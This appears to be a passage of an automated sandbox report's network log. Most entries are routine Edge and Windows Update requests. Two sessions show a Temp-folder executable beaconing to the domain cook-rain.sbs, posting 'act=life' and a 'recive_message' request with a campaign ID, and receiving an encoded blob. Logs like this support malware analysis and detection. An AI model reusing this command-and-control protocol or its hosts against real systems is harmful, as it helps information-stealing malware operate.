2024-11-18 12:29:41 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49831	23.47.50.145	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:41 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:42 UTC	550	IN	HTTP/1.1 200 OK Last-Modified: Sat, 09 Nov 2024 17:21:55 GMT Access-Control-Allow-Origin: * X-Datacenter: westus X-ActivityId: 816bc06e-9ac1-41c8-84a7-557d7b72aa1c Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 1437868 Content-Length: 4096 Cache-Control: public, max-age=60672 Expires: Tue, 19 Nov 2024 05:20:53 GMT Date: Mon, 18 Nov 2024 12:29:41 GMT Connection: close
2024-11-18 12:29:42 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49832	23.218.232.185	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:43 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732537764&P2=404&P3=2&P4=KrhXdgaCJ4z8Cs9EhrYqSgCCJAuGvkYe4ioLvYQ3HU2hNkyVyv9Cw%2fgB%2fsFWS0I3dLQtkqe8bk8rqpNnh%2b61YA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: kX+TZG5HOXDi5YhT9QeiJn Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:44 UTC	1246	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: e3731855-5a3e-4e43-8d55-3843c0a1b7c2 MS-RequestId: 74add4c3-b80c-43c0-b354-105b55f78670 MS-CV: pYmfl/00fHw8EmBVibiWDJ.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86373 Date: Mon, 18 Nov 2024 12:29:44 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.193.38.22,b=672179108,c=g,n=US_TX_IRVING,o=20940],[c=c,n=US_TX_DALLAS,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.1626c117.1731932984.2810a3a4 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-18 12:29:44 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	49836	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:50 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7etvo8RcU7kD8zR&MD=o3Wk6usb HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 12:29:51 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 3e4d8569-7a19-4a5d-9ed7-f4e0f269b863 MS-RequestId: 106be064-bcb0-401c-ab61-e1a60d207c30 MS-CV: dnaclRLJLUCPGQzv.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 12:29:50 GMT Connection: close Content-Length: 30005
2024-11-18 12:29:51 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-18 12:29:51 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49844	23.192.223.231	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:23 UTC	430	OUT	OPTIONS /api/report?cat=msn HTTP/1.1 Host: deff.nelreports.net Connection: keep-alive Origin: https://assets.msn.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:30:23 UTC	334	IN	HTTP/1.1 200 OK Content-Length: 0 Server: Kestrel Date: Mon, 18 Nov 2024 12:30:23 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.6758ca17.1731933023.14b7f238 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	49845	23.192.223.231	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:24 UTC	374	OUT	POST /api/report?cat=msn HTTP/1.1 Host: deff.nelreports.net Connection: keep-alive Content-Length: 1004 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:30:24 UTC	1004	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 34 38 37 32 36 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 35 30 2c 22 6d 65 74 68 6f 64 22 3a 22 4f 50 54 49 4f 4e 53 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 33 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 74 70 2e 6d 73 6e 2e 63 6f 6d 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 31 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 32 33 2e 32 32 31 2e 32 32 2e 31 39 37 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 61 62 61 6e 64 6f 6e 65 64 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 Data Ascii: [{"age":48726,"body":{"elapsed_time":250,"method":"OPTIONS","phase":"application","protocol":"h3","referrer":"https://ntp.msn.com/","sampling_fraction":0.1,"server_ip":"23.221.22.197","status_code":200,"type":"abandoned"},"type":"network-error","url":"htt
2024-11-18 12:30:24 UTC	334	IN	HTTP/1.1 200 OK Content-Length: 0 Server: Kestrel Date: Mon, 18 Nov 2024 12:30:24 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.7058ca17.1731933024.1df603fb Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	49847	188.114.96.3	443	5716	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:27 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-18 12:30:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-18 12:30:28 UTC	1003	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o5jfa3nsh11shhj1shjhtam36q; expires=Fri, 14-Mar-2025 06:17:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oBMJXAq03NyiySRLzpPHsnCSdGPVMlfkyO8dBeKELi8QPsmkHAojXi2q9WZiq%2FzsF1QvsEwLEqGqRpWfHdWmtnZZ2yK4zyddw%2Bvie8kDR2%2BO6W1PZrvjaCx2WngKXchj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f8cf8e4ba916-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1058&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=2616079&cwnd=251&unsent_bytes=0&cid=f9c28b37cb8e2654&ts=771&x=0"
2024-11-18 12:30:28 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-18 12:30:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	49849	188.114.96.3	443	5716	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:28 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-18 12:30:28 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-18 12:30:29 UTC	1007	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sa9s5ngv0ko6fuo4ugc219l5g0; expires=Fri, 14-Mar-2025 06:17:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O%2Bayox7pEpFZalB1m2se8Hn%2F%2Bq4Zr9Ugi0m7b4%2FtVrvjqd44Zn9yITvJJGUGALmX5PdzwSzfmmqSJZ8fOtbrVMcJyFQx%2FEMp5ZKV9eakedl27FnQaJiAjm1mCaOh1JtE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f8d6ed1ee972-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1522&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=1727923&cwnd=250&unsent_bytes=0&cid=0f141501061130d2&ts=511&x=0"
2024-11-18 12:30:29 UTC	362	IN	Data Raw: 32 35 37 30 0d 0a 39 48 37 57 57 35 78 6e 51 76 4e 66 71 58 59 41 54 6f 39 35 2b 44 32 48 76 63 59 50 79 68 4e 6a 30 4a 4e 6c 6b 4f 74 44 78 53 6d 50 58 4b 42 35 70 6c 4e 75 30 53 7a 4d 56 44 6f 36 2f 51 79 64 45 61 58 63 6f 69 33 77 64 51 4b 38 34 41 43 38 79 54 57 6f 43 38 34 59 74 7a 66 76 41 6d 37 52 4f 74 46 55 4f 68 58 30 57 35 31 54 70 59 66 6b 61 71 42 78 41 72 7a 78 42 50 75 45 4d 36 6c 4b 6e 42 4b 78 4d 2f 6b 45 4a 70 49 7a 78 42 4e 6c 4b 2b 34 54 6c 6c 54 71 31 61 73 74 35 6a 45 47 71 72 46 66 73 71 59 6d 73 55 69 35 48 36 55 77 76 68 70 75 69 48 33 4d 47 43 4a 30 72 52 69 64 58 2b 76 62 6f 6d 53 69 65 77 75 30 38 41 48 36 6d 79 71 6a 51 5a 77 63 73 6a 4c 7a 44 54 4b 66 4f 63 4d 59 59 79 48 75 57 39 51 66 34 73 66 6b 4e 65 67 69 4d 37 48 67 46 Data Ascii: 25709H7WW5xnQvNfqXYATo95+D2HvcYPyhNj0JNlkOtDxSmPXKB5plNu0SzMVDo6/QydEaXcoi3wdQK84AC8yTWoC84YtzfvAm7ROtFUOhX0W51TpYfkaqBxArzxBPuEM6lKnBKxM/kEJpIzxBNlK+4TllTq1ast5jEGqrFfsqYmsUi5H6UwvhpuiH3MGCJ0rRidX+vbomSiewu08AH6myqjQZwcsjLzDTKfOcMYYyHuW9Qf4sfkNegiM7HgF
2024-11-18 12:30:29 UTC	1369	IN	Data Raw: 5a 7a 37 6d 45 70 64 53 35 64 4b 75 59 71 74 78 42 72 6a 37 43 50 69 4e 4c 4b 70 4e 6c 68 7a 30 64 37 34 43 4f 4e 46 6c 69 7a 64 6e 50 4f 6f 58 6a 42 33 66 6e 37 73 6a 73 54 45 47 76 72 46 66 73 6f 45 6b 70 45 69 64 45 37 63 78 39 52 63 67 67 7a 76 47 45 58 41 71 36 42 57 51 58 50 66 56 71 6d 75 72 65 41 71 37 39 41 44 32 79 57 2f 6e 54 49 35 63 37 48 6e 66 43 43 75 64 4e 39 77 55 49 6a 4f 6a 41 74 70 59 36 5a 2f 38 4c 61 78 77 42 62 50 31 43 66 79 4e 4c 61 46 46 6d 78 4f 79 4d 2f 34 43 4b 70 6b 31 79 68 6c 70 49 2b 30 65 6c 31 76 6a 30 36 56 6f 36 44 39 42 74 65 6c 48 71 73 6b 50 6f 45 69 45 58 6f 45 36 38 41 73 6e 68 33 33 55 57 6e 74 73 36 68 66 61 42 36 58 52 6f 57 4b 36 63 42 4f 33 2f 78 58 2b 6a 43 65 71 53 4a 67 63 73 54 37 7a 43 79 61 57 50 73 4d Data Ascii: Zz7mEpdS5dKuYqtxBrj7CPiNLKpNlhz0d74CONFlizdnPOoXjB3fn7sjsTEGvrFfsoEkpEidE7cx9RcggzvGEXAq6BWQXPfVqmureAq79AD2yW/nTI5c7HnfCCudN9wUIjOjAtpY6Z/8LaxwBbP1CfyNLaFFmxOyM/4CKpk1yhlpI+0el1vj06Vo6D9BtelHqskPoEiEXoE68Asnh33UWnts6hfaB6XRoWK6cBO3/xX+jCeqSJgcsT7zCyaWPsM
2024-11-18 12:30:29 UTC	1369	IN	Data Raw: 68 66 61 42 36 58 54 72 57 32 6a 65 77 57 79 39 67 72 33 69 69 61 6b 52 70 45 57 75 6a 37 36 43 53 6d 63 4f 38 73 54 5a 69 6e 2f 48 70 4e 54 36 5a 2f 71 4c 61 39 70 51 65 71 78 4b 50 57 66 49 6f 68 49 68 78 58 30 4a 72 41 63 59 4a 59 78 69 30 77 69 4b 2b 67 54 6b 56 6e 74 33 37 5a 6f 70 6e 6f 41 75 50 63 47 2f 34 55 6e 70 30 71 57 47 72 67 35 2b 51 49 79 67 7a 6a 4e 42 6d 68 73 6f 31 75 64 52 36 57 48 35 46 75 34 5a 68 43 6b 73 7a 4c 78 68 79 2b 67 58 64 59 44 2b 69 43 2b 41 69 7a 52 5a 59 73 66 59 69 44 71 45 35 78 62 37 64 43 72 5a 4c 70 77 44 62 7a 6a 41 50 4b 41 4c 36 68 48 6e 78 47 7a 4e 50 55 50 4c 5a 55 36 79 6c 51 73 62 4f 6f 44 32 67 65 6c 36 62 52 67 70 46 38 4b 76 76 68 48 37 63 63 34 35 30 79 61 58 4f 78 35 2b 67 6b 6f 6d 7a 4c 43 48 6d 67 6a Data Ascii: hfaB6XTrW2jewWy9gr3iiakRpEWuj76CSmcO8sTZin/HpNT6Z/qLa9pQeqxKPWfIohIhxX0JrAcYJYxi0wiK+gTkVnt37ZopnoAuPcG/4Unp0qWGrg5+QIygzjNBmhso1udR6WH5Fu4ZhCkszLxhy+gXdYD+iC+AizRZYsfYiDqE5xb7dCrZLpwDbzjAPKAL6hHnxGzNPUPLZU6ylQsbOoD2gel6bRgpF8KvvhH7cc450yaXOx5+gkomzLCHmgj
2024-11-18 12:30:29 UTC	1369	IN	Data Raw: 43 6c 6b 65 52 71 73 44 46 5a 38 74 34 67 78 38 73 41 6e 51 75 4a 55 71 31 35 2b 51 6c 67 79 58 33 48 46 32 34 6b 34 68 32 54 55 2b 2f 57 72 32 47 6a 64 51 32 37 39 41 48 7a 6a 43 53 6d 54 35 6f 57 73 6a 72 39 43 69 2b 65 4e 59 74 61 49 69 76 31 57 38 49 66 77 4d 69 76 59 36 34 78 48 76 7a 6f 52 2f 57 46 59 66 38 4c 6d 68 57 79 50 2f 73 4a 49 5a 63 31 7a 68 78 6d 4c 65 73 64 6d 56 44 68 32 71 56 69 72 48 30 50 75 50 41 47 2f 6f 49 75 72 45 37 57 55 76 51 2b 35 6b 56 34 30 51 7a 49 41 6e 55 38 34 56 75 46 45 66 79 66 6f 32 48 6f 4b 55 47 7a 34 77 33 34 68 79 53 6f 54 70 55 54 73 7a 54 34 43 53 71 59 4e 63 30 62 61 7a 37 75 46 35 52 59 36 39 4f 71 59 4b 4a 79 44 50 4b 2f 52 2f 57 52 59 66 38 4c 75 68 75 35 46 2f 55 4a 4a 39 45 69 68 51 30 69 4b 2b 46 62 77 Data Ascii: ClkeRqsDFZ8t4gx8sAnQuJUq15+QlgyX3HF24k4h2TU+/Wr2GjdQ279AHzjCSmT5oWsjr9Ci+eNYtaIiv1W8IfwMivY64xHvzoR/WFYf8LmhWyP/sJIZc1zhxmLesdmVDh2qVirH0PuPAG/oIurE7WUvQ+5kV40QzIAnU84VuFEfyfo2HoKUGz4w34hySoTpUTszT4CSqYNc0baz7uF5RY69OqYKJyDPK/R/WRYf8Luhu5F/UJJ9EihQ0iK+Fbw
2024-11-18 12:30:29 UTC	1369	IN	Data Raw: 53 61 72 68 68 41 76 44 41 45 66 47 66 4b 71 70 48 31 67 50 36 49 4c 34 43 4c 4e 46 6c 69 78 4a 74 4a 65 34 55 6d 31 62 70 30 71 46 6b 72 58 41 48 74 76 73 4e 38 6f 38 6e 70 6b 36 63 48 37 55 7a 39 77 49 6f 6c 6a 37 5a 56 43 78 73 36 67 50 61 42 36 58 32 6f 33 2b 6d 59 55 47 74 76 78 36 79 6a 69 33 6e 45 39 59 59 76 6a 62 36 41 69 79 58 4f 4d 30 5a 59 79 50 73 47 35 56 62 37 74 61 69 62 4b 56 30 44 4c 62 6a 44 66 6d 47 4c 61 35 48 6d 31 7a 36 65 66 6b 64 59 4d 6c 39 2b 68 6c 73 49 75 6f 4e 32 6b 43 72 78 75 52 71 70 44 46 5a 38 76 41 4c 2f 59 6f 75 70 45 69 58 46 71 59 72 38 67 77 6f 6c 44 48 41 47 6d 51 2b 36 78 53 54 58 4f 62 57 6f 32 57 6b 65 77 4b 31 73 55 6d 79 6a 6a 6e 6e 45 39 59 2f 6f 79 6e 7a 52 54 2f 66 4a 49 73 54 62 6d 79 31 57 35 4a 53 37 64 Data Ascii: SarhhAvDAEfGfKqpH1gP6IL4CLNFlixJtJe4Um1bp0qFkrXAHtvsN8o8npk6cH7Uz9wIolj7ZVCxs6gPaB6X2o3+mYUGtvx6yji3nE9YYvjb6AiyXOM0ZYyPsG5Vb7taibKV0DLbjDfmGLa5Hm1z6efkdYMl9+hlsIuoN2kCrxuRqpDFZ8vAL/YoupEiXFqYr8gwolDHAGmQ+6xSTXObWo2WkewK1sUmyjjnnE9Y/oynzRT/fJIsTbmy1W5JS7d
